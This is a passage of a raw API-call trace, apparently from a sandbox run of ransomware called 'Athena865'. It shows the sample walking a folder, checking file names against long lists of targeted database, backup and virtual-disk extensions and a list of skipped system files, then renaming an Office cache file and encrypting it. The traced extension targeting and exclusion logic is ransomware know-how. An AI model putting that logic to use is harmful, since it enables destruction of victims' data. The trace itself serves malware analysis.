(lpString="odb") returned 3 [0054.354] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0054.354] lstrlenW (lpString="oqy") returned 3 [0054.354] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1 [0054.354] lstrlenW (lpString="ora") returned 3 [0054.354] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1 [0054.354] lstrlenW (lpString="orx") returned 3 [0054.354] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1 [0054.354] lstrlenW (lpString="owc") returned 3 [0054.354] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1 [0054.354] lstrlenW (lpString="p96") returned 3 [0054.354] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1 [0054.354] lstrlenW (lpString="p97") returned 3 [0054.354] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1 [0054.354] lstrlenW (lpString="pan") returned 3 [0054.354] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1 [0054.354] lstrlenW (lpString="pdb") returned 3 [0054.354] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1 [0054.354] lstrlenW (lpString="pdm") returned 3 [0054.354] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1 [0054.354] lstrlenW (lpString="pnz") returned 3 [0054.354] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1 [0054.354] lstrlenW (lpString="qry") returned 3 [0054.354] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1 [0054.354] lstrlenW (lpString="qvd") returned 3 [0054.355] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1 [0054.355] lstrlenW (lpString="rbf") returned 3 [0054.355] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1 [0054.355] lstrlenW (lpString="rctd") returned 4 [0054.355] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1 [0054.355] lstrlenW (lpString="rod") returned 3 [0054.355] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1 [0054.355] lstrlenW (lpString="rodx") returned 4 [0054.355] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1 [0054.355] lstrlenW (lpString="rpd") returned 3 [0054.355] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1 [0054.355] lstrlenW (lpString="rsd") returned 3 [0054.355] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1 [0054.355] lstrlenW (lpString="sas7bdat") returned 8 [0054.355] lstrcmpiW (lpString1="elLR.cab", lpString2="sas7bdat") returned -1 [0054.355] lstrlenW (lpString="sbf") returned 3 [0054.355] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1 [0054.355] lstrlenW (lpString="scx") returned 3 [0054.355] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1 [0054.355] lstrlenW (lpString="sdb") returned 3 [0054.355] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1 [0054.355] lstrlenW (lpString="sdc") returned 3 [0054.355] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1 [0054.355] lstrlenW (lpString="sdf") returned 3 [0054.355] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1 [0054.355] lstrlenW (lpString="sis") returned 3 [0054.355] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1 [0054.355] lstrlenW (lpString="spq") returned 3 [0054.355] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1 [0054.355] lstrlenW (lpString="te") returned 2 [0054.355] lstrcmpiW (lpString1="ab", lpString2="te") returned -1 [0054.355] lstrlenW (lpString="teacher") returned 7 [0054.355] lstrcmpiW (lpString1="lLR.cab", lpString2="teacher") returned -1 [0054.356] lstrlenW (lpString="tmd") returned 3 [0054.356] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1 [0054.356] lstrlenW (lpString="tps") returned 3 [0054.356] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1 [0054.356] lstrlenW (lpString="trc") returned 3 [0054.356] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0054.356] lstrlenW (lpString="trc") returned 3 [0054.356] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0054.356] lstrlenW (lpString="trm") returned 3 [0054.356] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1 [0054.356] lstrlenW (lpString="udb") returned 3 [0054.356] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1 [0054.356] lstrlenW (lpString="udl") returned 3 [0054.356] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1 [0054.356] lstrlenW (lpString="usr") returned 3 [0054.356] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1 [0054.356] lstrlenW (lpString="v12") returned 3 [0054.356] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1 [0054.356] lstrlenW (lpString="vis") returned 3 [0054.356] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1 [0054.356] lstrlenW (lpString="vpd") returned 3 [0054.356] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1 [0054.356] lstrlenW (lpString="vvv") returned 3 [0054.356] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1 [0054.356] lstrlenW (lpString="wdb") returned 3 [0054.356] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1 [0054.356] lstrlenW (lpString="wmdb") returned 4 [0054.356] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1 [0054.356] lstrlenW (lpString="wrk") returned 3 [0054.356] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1 [0054.356] lstrlenW (lpString="xdb") returned 3 [0054.356] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1 [0054.356] lstrlenW (lpString="xld") returned 3 [0054.357] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1 [0054.357] lstrlenW (lpString="xmlff") returned 5 [0054.357] lstrcmpiW (lpString1="R.cab", lpString2="xmlff") returned -1 [0054.357] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.Athena865") returned 84 [0054.357] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.athena865"), dwFlags=0x1) returned 1 [0054.358] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0054.358] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16972987) returned 1 [0054.358] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0054.358] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0054.358] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518788 [0054.358] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519e60) returned 1 [0054.359] CryptGenRandom (in: hProv=0x519e60, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0054.359] CryptReleaseContext (hProv=0x519e60, dwFlags=0x0) returned 1 [0054.359] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x102ffc0, lpName=0x0) returned 0x154 [0054.361] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x1000000, dwNumberOfBytesToMap=0x2ffc0) returned 0x170000 [0054.371] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0054.464] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0054.481] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519e60) returned 1 [0054.482] CryptGenRandom (in: hProv=0x519e60, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0054.482] CryptReleaseContext (hProv=0x519e60, dwFlags=0x0) returned 1 [0054.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0054.482] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0054.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0054.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0054.482] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0054.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0054.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0054.483] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0054.483] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0054.483] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0054.483] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0054.485] CloseHandle (hObject=0x154) returned 1 [0054.485] CloseHandle (hObject=0x17c) returned 1 [0054.485] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0054.485] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518788 | out: hHeap=0x4f0000) returned 1 [0054.485] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0054.496] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1 [0054.496] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.497] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.497] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2=".") returned 1 [0054.497] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="..") returned 1 [0054.497] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="windows") returned -1 [0054.497] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="bootmgr") returned 1 [0054.497] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="temp") returned -1 [0054.497] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="pagefile.sys") returned -1 [0054.497] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="boot") returned 1 [0054.497] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="ids.txt") returned -1 [0054.497] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="ntuser.dat") returned -1 [0054.497] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="perflogs") returned -1 [0054.497] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="MSBuild") returned -1 [0054.497] lstrlenW (lpString="ExcelMUI.msi") returned 12 [0054.497] lstrcpyW (in: lpString1=0x241e8c6, lpString2="ExcelMUI.msi" | out: lpString1="ExcelMUI.msi") returned="ExcelMUI.msi" [0054.497] lstrlenW (lpString="ExcelMUI.msi") returned 12 [0054.497] lstrlenW (lpString="Athena865") returned 9 [0054.497] lstrcmpiW (lpString1="elMUI.msi", lpString2="Athena865") returned 1 [0054.497] lstrlenW (lpString=".dll") returned 4 [0054.497] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2=".dll") returned 1 [0054.497] lstrlenW (lpString=".lnk") returned 4 [0054.497] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2=".lnk") returned 1 [0054.497] lstrlenW (lpString=".ini") returned 4 [0054.497] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2=".ini") returned 1 [0054.497] lstrlenW (lpString=".sys") returned 4 [0054.497] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2=".sys") returned 1 [0054.497] lstrlenW (lpString="ExcelMUI.msi") returned 12 [0054.497] lstrlenW (lpString="bak") returned 3 [0054.497] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1 [0054.497] lstrlenW (lpString="ba_") returned 3 [0054.497] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1 [0054.497] lstrlenW (lpString="dbb") returned 3 [0054.497] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1 [0054.498] lstrlenW (lpString="vmdk") returned 4 [0054.498] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1 [0054.498] lstrlenW (lpString="rar") returned 3 [0054.498] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1 [0054.498] lstrlenW (lpString="zip") returned 3 [0054.498] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1 [0054.498] lstrlenW (lpString="tgz") returned 3 [0054.498] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1 [0054.498] lstrlenW (lpString="vbox") returned 4 [0054.498] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1 [0054.498] lstrlenW (lpString="vdi") returned 3 [0054.498] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1 [0054.498] lstrlenW (lpString="vhd") returned 3 [0054.498] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1 [0054.498] lstrlenW (lpString="vhdx") returned 4 [0054.498] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1 [0054.498] lstrlenW (lpString="avhd") returned 4 [0054.498] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1 [0054.498] lstrlenW (lpString="db") returned 2 [0054.498] lstrcmpiW (lpString1="si", lpString2="db") returned 1 [0054.498] lstrlenW (lpString="db2") returned 3 [0054.498] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1 [0054.498] lstrlenW (lpString="db3") returned 3 [0054.498] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1 [0054.498] lstrlenW (lpString="dbf") returned 3 [0054.498] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1 [0054.498] lstrlenW (lpString="mdf") returned 3 [0054.498] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1 [0054.498] lstrlenW (lpString="mdb") returned 3 [0054.498] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1 [0054.498] lstrlenW (lpString="sql") returned 3 [0054.498] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1 [0054.498] lstrlenW (lpString="sqlite") returned 6 [0054.499] lstrcmpiW (lpString1="UI.msi", lpString2="sqlite") returned 1 [0054.499] lstrlenW (lpString="sqlite3") returned 7 [0054.499] lstrcmpiW (lpString1="MUI.msi", lpString2="sqlite3") returned -1 [0054.499] lstrlenW (lpString="sqlitedb") returned 8 [0054.499] lstrcmpiW (lpString1="lMUI.msi", lpString2="sqlitedb") returned -1 [0054.499] lstrlenW (lpString="xml") returned 3 [0054.499] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1 [0054.499] lstrlenW (lpString="$er") returned 3 [0054.499] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1 [0054.499] lstrlenW (lpString="4dd") returned 3 [0054.499] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1 [0054.499] lstrlenW (lpString="4dl") returned 3 [0054.499] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1 [0054.499] lstrlenW (lpString="^^^") returned 3 [0054.499] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1 [0054.499] lstrlenW (lpString="abs") returned 3 [0054.499] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1 [0054.499] lstrlenW (lpString="abx") returned 3 [0054.499] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1 [0054.499] lstrlenW (lpString="accdb") returned 5 [0054.499] lstrcmpiW (lpString1="I.msi", lpString2="accdb") returned 1 [0054.499] lstrlenW (lpString="accdc") returned 5 [0054.499] lstrcmpiW (lpString1="I.msi", lpString2="accdc") returned 1 [0054.499] lstrlenW (lpString="accde") returned 5 [0054.499] lstrcmpiW (lpString1="I.msi", lpString2="accde") returned 1 [0054.499] lstrlenW (lpString="accdr") returned 5 [0054.499] lstrcmpiW (lpString1="I.msi", lpString2="accdr") returned 1 [0054.499] lstrlenW (lpString="accdt") returned 5 [0054.499] lstrcmpiW (lpString1="I.msi", lpString2="accdt") returned 1 [0054.499] lstrlenW (lpString="accdw") returned 5 [0054.499] lstrcmpiW (lpString1="I.msi", lpString2="accdw") returned 1 [0054.499] lstrlenW (lpString="accft") returned 5 [0054.499] lstrcmpiW (lpString1="I.msi", lpString2="accft") returned 1 [0054.500] lstrlenW (lpString="adb") returned 3 [0054.500] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0054.500] lstrlenW (lpString="adb") returned 3 [0054.500] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0054.500] lstrlenW (lpString="ade") returned 3 [0054.500] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1 [0054.500] lstrlenW (lpString="adf") returned 3 [0054.500] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1 [0054.500] lstrlenW (lpString="adn") returned 3 [0054.500] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1 [0054.500] lstrlenW (lpString="adp") returned 3 [0054.500] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1 [0054.500] lstrlenW (lpString="alf") returned 3 [0054.500] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1 [0054.500] lstrlenW (lpString="ask") returned 3 [0054.500] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1 [0054.500] lstrlenW (lpString="btr") returned 3 [0054.500] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1 [0054.500] lstrlenW (lpString="cat") returned 3 [0054.500] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1 [0054.500] lstrlenW (lpString="cdb") returned 3 [0054.500] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1 [0054.500] lstrlenW (lpString="ckp") returned 3 [0054.500] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1 [0054.500] lstrlenW (lpString="cma") returned 3 [0054.500] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1 [0054.500] lstrlenW (lpString="cpd") returned 3 [0054.500] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1 [0054.500] lstrlenW (lpString="dacpac") returned 6 [0054.500] lstrcmpiW (lpString1="UI.msi", lpString2="dacpac") returned 1 [0054.500] lstrlenW (lpString="dad") returned 3 [0054.500] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1 [0054.500] lstrlenW (lpString="dadiagrams") returned 10 [0054.501] lstrcmpiW (lpString1="celMUI.msi", lpString2="dadiagrams") returned -1 [0054.501] lstrlenW (lpString="daschema") returned 8 [0054.501] lstrcmpiW (lpString1="lMUI.msi", lpString2="daschema") returned 1 [0054.501] lstrlenW (lpString="db-journal") returned 10 [0054.501] lstrcmpiW (lpString1="celMUI.msi", lpString2="db-journal") returned -1 [0054.501] lstrlenW (lpString="db-shm") returned 6 [0054.501] lstrcmpiW (lpString1="UI.msi", lpString2="db-shm") returned 1 [0054.501] lstrlenW (lpString="db-wal") returned 6 [0054.501] lstrcmpiW (lpString1="UI.msi", lpString2="db-wal") returned 1 [0054.501] lstrlenW (lpString="dbc") returned 3 [0054.501] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1 [0054.501] lstrlenW (lpString="dbs") returned 3 [0054.501] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1 [0054.501] lstrlenW (lpString="dbt") returned 3 [0054.501] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1 [0054.501] lstrlenW (lpString="dbv") returned 3 [0054.501] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1 [0054.501] lstrlenW (lpString="dbx") returned 3 [0054.501] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1 [0054.501] lstrlenW (lpString="dcb") returned 3 [0054.501] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1 [0054.501] lstrlenW (lpString="dct") returned 3 [0054.501] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1 [0054.501] lstrlenW (lpString="dcx") returned 3 [0054.501] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1 [0054.501] lstrlenW (lpString="ddl") returned 3 [0054.501] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1 [0054.501] lstrlenW (lpString="dlis") returned 4 [0054.501] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1 [0054.501] lstrlenW (lpString="dp1") returned 3 [0054.501] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1 [0054.501] lstrlenW (lpString="dqy") returned 3 [0054.501] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1 [0054.501] lstrlenW (lpString="dsk") returned 3 [0054.502] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1 [0054.502] lstrlenW (lpString="dsn") returned 3 [0054.502] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1 [0054.502] lstrlenW (lpString="dtsx") returned 4 [0054.502] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1 [0054.502] lstrlenW (lpString="dxl") returned 3 [0054.502] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1 [0054.502] lstrlenW (lpString="eco") returned 3 [0054.502] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1 [0054.502] lstrlenW (lpString="ecx") returned 3 [0054.502] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1 [0054.502] lstrlenW (lpString="edb") returned 3 [0054.502] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1 [0054.502] lstrlenW (lpString="epim") returned 4 [0054.502] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1 [0054.502] lstrlenW (lpString="fcd") returned 3 [0054.502] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1 [0054.502] lstrlenW (lpString="fdb") returned 3 [0054.502] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1 [0054.502] lstrlenW (lpString="fic") returned 3 [0054.502] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1 [0054.502] lstrlenW (lpString="flexolibrary") returned 12 [0054.502] lstrlenW (lpString="fm5") returned 3 [0054.502] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1 [0054.502] lstrlenW (lpString="fmp") returned 3 [0054.502] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1 [0054.502] lstrlenW (lpString="fmp12") returned 5 [0054.502] lstrcmpiW (lpString1="I.msi", lpString2="fmp12") returned 1 [0054.502] lstrlenW (lpString="fmpsl") returned 5 [0054.502] lstrcmpiW (lpString1="I.msi", lpString2="fmpsl") returned 1 [0054.502] lstrlenW (lpString="fol") returned 3 [0054.502] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1 [0054.502] lstrlenW (lpString="fp3") returned 3 [0054.503] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1 [0054.503] lstrlenW (lpString="fp4") returned 3 [0054.503] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1 [0054.503] lstrlenW (lpString="fp5") returned 3 [0054.503] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1 [0054.503] lstrlenW (lpString="fp7") returned 3 [0054.503] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1 [0054.503] lstrlenW (lpString="fpt") returned 3 [0054.503] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1 [0054.503] lstrlenW (lpString="frm") returned 3 [0054.503] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1 [0054.503] lstrlenW (lpString="gdb") returned 3 [0054.503] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0054.503] lstrlenW (lpString="gdb") returned 3 [0054.503] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0054.503] lstrlenW (lpString="grdb") returned 4 [0054.503] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1 [0054.503] lstrlenW (lpString="gwi") returned 3 [0054.503] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1 [0054.503] lstrlenW (lpString="hdb") returned 3 [0054.503] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1 [0054.503] lstrlenW (lpString="his") returned 3 [0054.503] lstrcmpiW (lpString1="msi", lpString2="his") returned 1 [0054.503] lstrlenW (lpString="ib") returned 2 [0054.503] lstrcmpiW (lpString1="si", lpString2="ib") returned 1 [0054.503] lstrlenW (lpString="idb") returned 3 [0054.503] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1 [0054.503] lstrlenW (lpString="ihx") returned 3 [0054.503] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1 [0054.503] lstrlenW (lpString="itdb") returned 4 [0054.503] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1 [0054.503] lstrlenW (lpString="itw") returned 3 [0054.504] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1 [0054.504] lstrlenW (lpString="jet") returned 3 [0054.504] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1 [0054.504] lstrlenW (lpString="jtx") returned 3 [0054.504] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1 [0054.504] lstrlenW (lpString="kdb") returned 3 [0054.504] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1 [0054.504] lstrlenW (lpString="kexi") returned 4 [0054.504] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1 [0054.504] lstrlenW (lpString="kexic") returned 5 [0054.504] lstrcmpiW (lpString1="I.msi", lpString2="kexic") returned -1 [0054.504] lstrlenW (lpString="kexis") returned 5 [0054.504] lstrcmpiW (lpString1="I.msi", lpString2="kexis") returned -1 [0054.504] lstrlenW (lpString="lgc") returned 3 [0054.504] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1 [0054.504] lstrlenW (lpString="lwx") returned 3 [0054.504] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1 [0054.504] lstrlenW (lpString="maf") returned 3 [0054.504] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1 [0054.504] lstrlenW (lpString="maq") returned 3 [0054.504] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1 [0054.504] lstrlenW (lpString="mar") returned 3 [0054.504] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1 [0054.504] lstrlenW (lpString="marshal") returned 7 [0054.504] lstrcmpiW (lpString1="MUI.msi", lpString2="marshal") returned 1 [0054.504] lstrlenW (lpString="mas") returned 3 [0054.504] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1 [0054.504] lstrlenW (lpString="mav") returned 3 [0054.504] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1 [0054.504] lstrlenW (lpString="maw") returned 3 [0054.504] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1 [0054.504] lstrlenW (lpString="mdbhtml") returned 7 [0054.504] lstrcmpiW (lpString1="MUI.msi", lpString2="mdbhtml") returned 1 [0054.505] lstrlenW (lpString="mdn") returned 3 [0054.505] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1 [0054.505] lstrlenW (lpString="mdt") returned 3 [0054.505] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1 [0054.505] lstrlenW (lpString="mfd") returned 3 [0054.505] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1 [0054.505] lstrlenW (lpString="mpd") returned 3 [0054.505] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1 [0054.505] lstrlenW (lpString="mrg") returned 3 [0054.505] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1 [0054.505] lstrlenW (lpString="mud") returned 3 [0054.505] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1 [0054.505] lstrlenW (lpString="mwb") returned 3 [0054.505] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1 [0054.505] lstrlenW (lpString="myd") returned 3 [0054.505] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1 [0054.505] lstrlenW (lpString="ndf") returned 3 [0054.505] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1 [0054.505] lstrlenW (lpString="nnt") returned 3 